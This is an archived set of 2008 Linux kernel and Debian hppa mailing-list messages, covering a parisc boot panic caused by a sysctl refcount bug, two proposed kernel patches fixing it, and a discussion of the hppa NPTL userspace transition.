Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220540725 31117 80.91.229.12 (4 Sep 2008 15:05:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 15:05:25 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1755247AbYIDPE1@vger.kernel.org Thu Sep 04 17:06:20 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1755247AbYIDPE1@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbGPB-000208-ET
	for glk-linux-kernel-3@gmane.org; Thu, 04 Sep 2008 17:05:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755247AbYIDPE1 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 4 Sep 2008 11:04:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752997AbYIDPER
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Thu, 4 Sep 2008 11:04:17 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:36538 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752881AbYIDPEP (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 4 Sep 2008 11:04:15 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 1CBF281E9;
	Thu,  4 Sep 2008 10:04:14 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id qd57K1qRg9Re; Thu,  4 Sep 2008 10:04:12 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id B57AF8037;
	Thu,  4 Sep 2008 10:04:11 -0500 (CDT)
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:729808 gmane.linux.ports.parisc:709
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/709>

This patch:

commit ae7edecc9b8810770a8e5cb9a466ea4bdcfa8401
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Tue Jul 15 06:33:31 2008 -0400

    [PATCH] sysctl: keep track of tree relationships

Is causing a panic on boot with parisc.  The panic occurs when we try to
bring up the secondary CPUs via hotplug, so I think it's a general panic
that would be seen on any architecture.

This is what the boot shows:

Searching for devices...
Found devices:
1. Storm Peak Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x887, 0x00004 }
2. Storm Peak Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x887, 0x00004 }
3. Storm Peak Slow at 0xfffffffffe798000 [152] { 0, 0x0, 0x887, 0x00004 }
4. Storm Peak Slow at 0xfffffffffe799000 [153] { 0, 0x0, 0x887, 0x00004 }
5. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
8. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
9. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
10. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
11. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
12. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
13. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
14. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
Releasing cpu 1 now, hpa=fffffffffe781000
FP[1] enabled: Rev 1 Model 20
------------[ cut here ]------------
Badness at kernel/sysctl.c:1929

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000001111100001111 Not tainted
r00-03  0000000008041f0f 00000000405956e0 000000004015c4bc 000000007f410d58
r04-07  0000000040589ee0 000000004048d1e4 00000000404b0040 0000000000000001
r08-11  0000000000000002 0000000040467868 0000000000000000 0000000000000000
r12-15  00000000405c25d0 0000000000000001 0000000000000000 0000000000000000
r16-19  00000000405c2f00 00000000404e58c0 00000000405c2f00 00000000404c8758
r20-23  0000000000000005 000000007f469df0 0000000000000022 fffffffffffffff3
r24-27  0000000000000000 0000000000000022 00000000404c8788 0000000040589ee0
r28-31  0000000000000000 000000007f469e50 000000007f469e80 000000007f410d60
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004015c538 000000004015c53c
 IIR: 03ffe01f    ISR: 0000000010240000  IOR: 00000001320c87a4
 CPU:        0   CR30: 000000007f468000 CR31: fffffff0f0e098e0
 ORIG_R28: 00000000404d1340
 IAOQ[0]: unregister_sysctl_table+0xb0/0x138
 IAOQ[1]: unregister_sysctl_table+0xb4/0x138
 RP(r2): unregister_sysctl_table+0x34/0x138
Backtrace:
 [<0000000040116384>] mutex_lock+0x14/0x20
 [<0000000040148930>] partition_sched_domains+0x88/0x3e8
 [<00000000401469fc>] wake_up_process+0x24/0x38
 [<0000000040122324>] print_one_device+0xbc/0x160
 [<00000000402e3d04>] next_device+0x14/0x30
 [<00000000402e3e10>] device_for_each_child+0x90/0xb8
 [<0000000040121dfc>] for_each_padev+0x34/0x48
 [<000000004012005c>] pdc_pat_cell_module+0xf4/0x178
 [<00000000401524d0>] printk+0x40/0x50
 [<0000000040175e64>] update_wall_time+0x26c/0x560
 [<000000004018bdd4>] __rcu_process_callbacks+0x19c/0x258
 [<000000004014313c>] enqueue_task_fair+0x5c/0x88
 [<000000004014313c>] enqueue_task_fair+0x5c/0x88
 [<0000000040141324>] __dequeue_entity+0x4c/0xb0
 [<00000000401c08dc>] cache_alloc_debugcheck_after+0x23c/0x2f0
 [<0000000040115f58>] __mutex_unlock_slowpath+0x70/0x168

------------[ cut here ]------------
kernel BUG at mm/slab.c:590!

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111110000001110 Tainted: G        W
r00-03  000000ff0804fc0e 0000000040591ee0 00000000401c0f24 000000007f410d58
r04-07  0000000040589ee0 000000004048d1e4 00000000404c8788 000000004015c548
r08-11  000000000800000f 0000000040467868 0000000000000000 0000000000000000
r12-15  00000000405c25d0 0000000000000001 0000000000000000 0000000000000000
r16-19  00000000405c2f00 00000000404e58c0 00000000405c2f00 00000000408e3000
r20-23  00000000004c8788 00000000000004c8 0000000000000022 fffffffffffffff3
r24-27  0000000000000000 00000000404c8788 00000000408f3bc0 0000000040589ee0
r28-31  0000000000000400 000000007f469ef0 000000007f469f20 0000000000000400
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401c1120 00000000401c1124
 IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000
 CPU:        0   CR30: 000000007f468000 CR31: fffffff0f0e098e0
 ORIG_R28: 000000007f46a0c0
 IAOQ[0]: kfree+0x238/0x258
 IAOQ[1]: kfree+0x23c/0x258
 RP(r2): kfree+0x3c/0x258
Backtrace:
 [<000000004015c548>] unregister_sysctl_table+0xc0/0x138
 [<0000000040116384>] mutex_lock+0x14/0x20
 [<0000000040148930>] partition_sched_domains+0x88/0x3e8
 [<00000000401469fc>] wake_up_process+0x24/0x38
 [<0000000040122324>] print_one_device+0xbc/0x160
 [<00000000402e3d04>] next_device+0x14/0x30
 [<00000000402e3e10>] device_for_each_child+0x90/0xb8
 [<0000000040121dfc>] for_each_padev+0x34/0x48
 [<000000004012005c>] pdc_pat_cell_module+0xf4/0x178
 [<00000000401524d0>] printk+0x40/0x50
 [<0000000040175e64>] update_wall_time+0x26c/0x560
 [<000000004018bdd4>] __rcu_process_callbacks+0x19c/0x258
 [<000000004014313c>] enqueue_task_fair+0x5c/0x88
 [<000000004014313c>] enqueue_task_fair+0x5c/0x88
 [<0000000040141324>] __dequeue_entity+0x4c/0xb0
 [<00000000401c08dc>] cache_alloc_debugcheck_after+0x23c/0x2f0

Backtrace:
 [<000000004011b6ec>] parisc_show_stack+0x9c/0xe8
 [<000000004011b74c>] show_stack+0x14/0x20
 [<000000004013fbc8>] update_curr+0x60/0xa0
 [<00000000402651bc>] report_bug+0xf4/0x150
 [<000000004015c548>] unregister_sysctl_table+0xc0/0x138
 [<00000000401c1120>] kfree+0x238/0x258
 [<00000000401c0f24>] kfree+0x3c/0x258
 [<000000004015c548>] unregister_sysctl_table+0xc0/0x138
 [<0000000040116384>] mutex_lock+0x14/0x20
 [<0000000040148930>] partition_sched_domains+0x88/0x3e8
 [<00000000401469fc>] wake_up_process+0x24/0x38
 [<0000000040122324>] print_one_device+0xbc/0x160
 [<00000000402e3d04>] next_device+0x14/0x30
 [<00000000402e3e10>] device_for_each_child+0x90/0xb8
 [<0000000040121dfc>] for_each_padev+0x34/0x48
 [<000000004012005c>] pdc_pat_cell_module+0xf4/0x178

Kernel panic - not syncing: Attempted to kill init!

The first is the WARN_ON(1) here in kernel/sysctl.c:

	if (!--header->parent->count) {
		WARN_ON(1);
		kfree(header->parent);
	}

And the BUG is because this code is trying to kfree sd_ctl_root (as the
parent) which is in static memory.

I've no idea what this code is trying to accomplish, but, since in
practice a lot of sysfs roots are in static memory, it's clearly bogus.
Even if we'd put sd_ctl_root in kmalloc'd memory, we don't want it
freed. The hotplug is merely trying to release all its current children
before adding new ones (which naturally takes the parent refcount to
zero). I suggest dumping this whole if clause.

James

---

diff --git a/kernel/sysctl.c b/kernel/sysctl.c
index fe47133..cbf0ebf 100644
--- a/kernel/sysctl.c
+++ b/kernel/sysctl.c
@@ -1925,10 +1925,8 @@ void unregister_sysctl_table(struct ctl_table_header * header)
 
 	spin_lock(&sysctl_lock);
 	start_unregistering(header);
-	if (!--header->parent->count) {
-		WARN_ON(1);
-		kfree(header->parent);
-	}
+	--header->parent->count;
+
 	if (!--header->count)
 		kfree(header);
 	spin_unlock(&sysctl_lock);



From - Thu Nov 08 21:02:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Thu, 4 Sep 2008 09:23:29 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <20080904152329.GA24316@colo.lackof.org>
References: <20080904114551.GA18877@tilt.dandreoli.com> <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1220541856 3630 80.91.229.12 (4 Sep 2008 15:24:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 15:24:16 +0000 (UTC)
Cc: Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 17:25:09 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbGhT-0000Go-W7
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 17:24:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750858AbYIDPXm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 11:23:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751671AbYIDPXm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 11:23:42 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:53810 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750858AbYIDPXm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 11:23:42 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 83D416F804A;
	Thu,  4 Sep 2008 09:23:40 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07393-04; Thu, 4 Sep 2008 09:23:30 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 1012)
	id F0DE96F8043; Thu,  4 Sep 2008 09:23:29 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:710 gmane.linux.debian.ports.hppa:5477
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/710>


On Thu, Sep 04, 2008 at 10:13:15AM -0400, Carlos O'Donell wrote:
> On Thu, Sep 4, 2008 at 7:45 AM, Domenico Andreoli <cavok@dandreoli.com> wrote:
> >  I would set NPTL transition as a goal for queeze.
> >
> > Are we available to agree on a shared path to push new life to this port?
> > I mean, this issue will bite more and more frequently, it must be fixed.
> 
> I agree. I'm available and willing. I'm just not a DD nor am I
> familiar with debians sbuild or buildds.
> 
> > I am available to follow the required steps but obviously the more eyes
> > the better. This is the first time I work on a big transition like this.
> 
> I'm available at OFTC on #debian-glibc. I act as a debian-hppa porter
> and help Aurelian when glibc hppa issues arise.
> 
> > I think the first packages have to be cross-built, until a minimal
> > build system is ready to run on the new libc6.1 (chroot?). Then start
> > an archive rebuild. It looks easy, where is the trap? :)
> 
> I'm not familiar with the debian build infrastructure, but I am *very*
> familiar with libc since I'm the upstream ports maintainer for hppa.
> 
> I don't think there is any trap.

I've already done the initial bootstrapping and John Wright and I have
a buildd actively rebuilding bits against sid. We're rsyncing the
results out to here:
  http://parisc-linux.org/~dannf/hppa-nptl-mirror/unstable/

Suffice to say, the rebuild is going fairly smoothly. But, I wonder
how we're going to transition systems over to an NPTL userspace. Does
anyone have a plan for that?

-- 
dann frazier

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Thu, 4 Sep 2008 11:31:52 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <119aab440809040831m2a4a3cffy3a8fbc747ca3b4a2@mail.gmail.com>
References: <20080904114551.GA18877@tilt.dandreoli.com>
	 <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com>
	 <20080904152329.GA24316@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220542329 5815 80.91.229.12 (4 Sep 2008 15:32:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 15:32:09 +0000 (UTC)
Cc: "Debian HPPA Port List" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "dann frazier" <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 17:33:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbGpM-0002dS-0R
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 17:32:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751340AbYIDPby (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 11:31:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751472AbYIDPby
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 11:31:54 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.229]:9012 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751340AbYIDPbx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 11:31:53 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so2000wri.5
        for <linux-parisc@vger.kernel.org>; Thu, 04 Sep 2008 08:31:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=2/fVRUR19gVDnQlaIcsjNO47uyB2PPE3BKuAzj8PX/8=;
        b=s0zhmyhGc8JIokL4s5i8/Xb3j1gf7Rby6u0B/nEsRL0N9uydU7mNWYue9HMZrj+kmQ
         AsBgeuFtg1EveiG99aZPJJAfa4KSysqr0BQLr4aWKQ1EER1Ct68g+mUHmnGdi49ho1oT
         rPVqq04v2nsGsWgc369p2z3z1FRL6zJ41lWGQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=NmoXcvYNBEPtgHtG7o7LaND1TCrREdXx7C0znDu8hSuj2A1TvC5zkgxgMyOXeVAX7b
         nzrfi0onkRTHDyvR5LVhnEbFGgWVMA12FMscnsYCPocA+5AVksGHEzdMWhWpHURbu7Tw
         8GRh+yGsT1yMru69/D5AGJOfEICpVHJFHF+pU=
Original-Received: by 10.90.91.9 with SMTP id o9mr13308709agb.42.1220542312492;
        Thu, 04 Sep 2008 08:31:52 -0700 (PDT)
Original-Received: by 10.90.101.5 with HTTP; Thu, 4 Sep 2008 08:31:52 -0700 (PDT)
In-Reply-To: <20080904152329.GA24316@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: 57065e6b8c4ccf70
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:711 gmane.linux.debian.ports.hppa:5478
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/711>

On Thu, Sep 4, 2008 at 11:23 AM, dann frazier <dannf@dannf.org> wrote:
> I've already done the initial bootstrapping and John Wright and I have
> a buildd actively rebuilding bits against sid. We're rsyncing the
> results out to here:
>  http://parisc-linux.org/~dannf/hppa-nptl-mirror/unstable/
>
> Suffice to say, the rebuild is going fairly smoothly. But, I wonder
> how we're going to transition systems over to an NPTL userspace. Does
> anyone have a plan for that?

Isn't this the responsibility of the package manager?

Why wouldn't apt-get dist-upgrade work?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Thu, 4 Sep 2008 10:04:07 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <20080904160407.GB24316@colo.lackof.org>
References: <20080904114551.GA18877@tilt.dandreoli.com> <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com> <20080904152329.GA24316@colo.lackof.org> <119aab440809040831m2a4a3cffy3a8fbc747ca3b4a2@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1220544320 14592 80.91.229.12 (4 Sep 2008 16:05:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 16:05:20 +0000 (UTC)
Cc: Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 18:06:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbHLA-0007VM-Nz
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 18:05:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751388AbYIDQEV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 12:04:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751695AbYIDQEV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 12:04:21 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:54311 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751002AbYIDQEV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 12:04:21 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D221B3382B6;
	Thu,  4 Sep 2008 10:04:19 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10811-03; Thu, 4 Sep 2008 10:04:08 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 1012)
	id 058566F8043; Thu,  4 Sep 2008 10:04:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <119aab440809040831m2a4a3cffy3a8fbc747ca3b4a2@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:712 gmane.linux.debian.ports.hppa:5479
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/712>

On Thu, Sep 04, 2008 at 11:31:52AM -0400, Carlos O'Donell wrote:
> On Thu, Sep 4, 2008 at 11:23 AM, dann frazier <dannf@dannf.org> wrote:
> > I've already done the initial bootstrapping and John Wright and I have
> > a buildd actively rebuilding bits against sid. We're rsyncing the
> > results out to here:
> >  http://parisc-linux.org/~dannf/hppa-nptl-mirror/unstable/
> >
> > Suffice to say, the rebuild is going fairly smoothly. But, I wonder
> > how we're going to transition systems over to an NPTL userspace. Does
> > anyone have a plan for that?
> 
> Isn't this the responsibility of the package manager?
> 
> Why wouldn't apt-get dist-upgrade work?

We had a discussion about this on IRC, a while back, let me see if I
can recap...

If we continue to use libc6 as the package name as we're currently
doing, at some point libc will get upgraded to the NPTL interface and
things will start crashing immediately. I asked if we could just do
"whatever x86 did", and kyle said that we have a problem they didn't -
our data nptl/lt data structures are incompatible.

We can deal with that to an extent by adding a second libc package,
e.g., libc6.1. But, jejb pointed out that, since most libs depend on
libc, we'll need to be able to have libs for both interfaces at the
same time to support a transitional upgrade - and that implies an
SONAME bump for every C library.

Hopefully there's an easier way, but I don't know of one.

-- 
dann frazier
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] forgotten refcount on sysctl root table
Date: Thu, 4 Sep 2008 17:05:57 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20080904160557.GT28946@ZenIV.linux.org.uk>
References: <1220540651.3276.16.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1220544386 14882 80.91.229.12 (4 Sep 2008 16:06:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 16:06:26 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 18:07:21 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbHMM-00083F-1O
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 18:07:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752421AbYIDQGA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 12:06:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752597AbYIDQF7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 12:05:59 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:59830 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752233AbYIDQF6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 12:05:58 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.68 #1 (Red Hat Linux))
	id 1KbHLJ-0006qJ-Kr; Thu, 04 Sep 2008 17:05:57 +0100
Content-Disposition: inline
In-Reply-To: <1220540651.3276.16.camel@localhost.localdomain>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:713 gmane.linux.kernel:729832
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/713>

	We should've set refcount on the root sysctl table; otherwise we'll
blow up the first time we get down to zero dynamically registered sysctl
tables.

Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
---
diff --git a/kernel/sysctl.c b/kernel/sysctl.c
index fe47133..50ec088 100644
--- a/kernel/sysctl.c
+++ b/kernel/sysctl.c
@@ -159,6 +159,7 @@ static int proc_dointvec_taint(struct ctl_table *table, int write, struct file *
 static struct ctl_table root_table[];
 static struct ctl_table_root sysctl_table_root;
 static struct ctl_table_header root_table_header = {
+	.count = 1,
 	.ctl_table = root_table,
 	.ctl_entry = LIST_HEAD_INIT(sysctl_table_root.default_set.list),
 	.root = &sysctl_table_root,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] forgotten refcount on sysctl root table
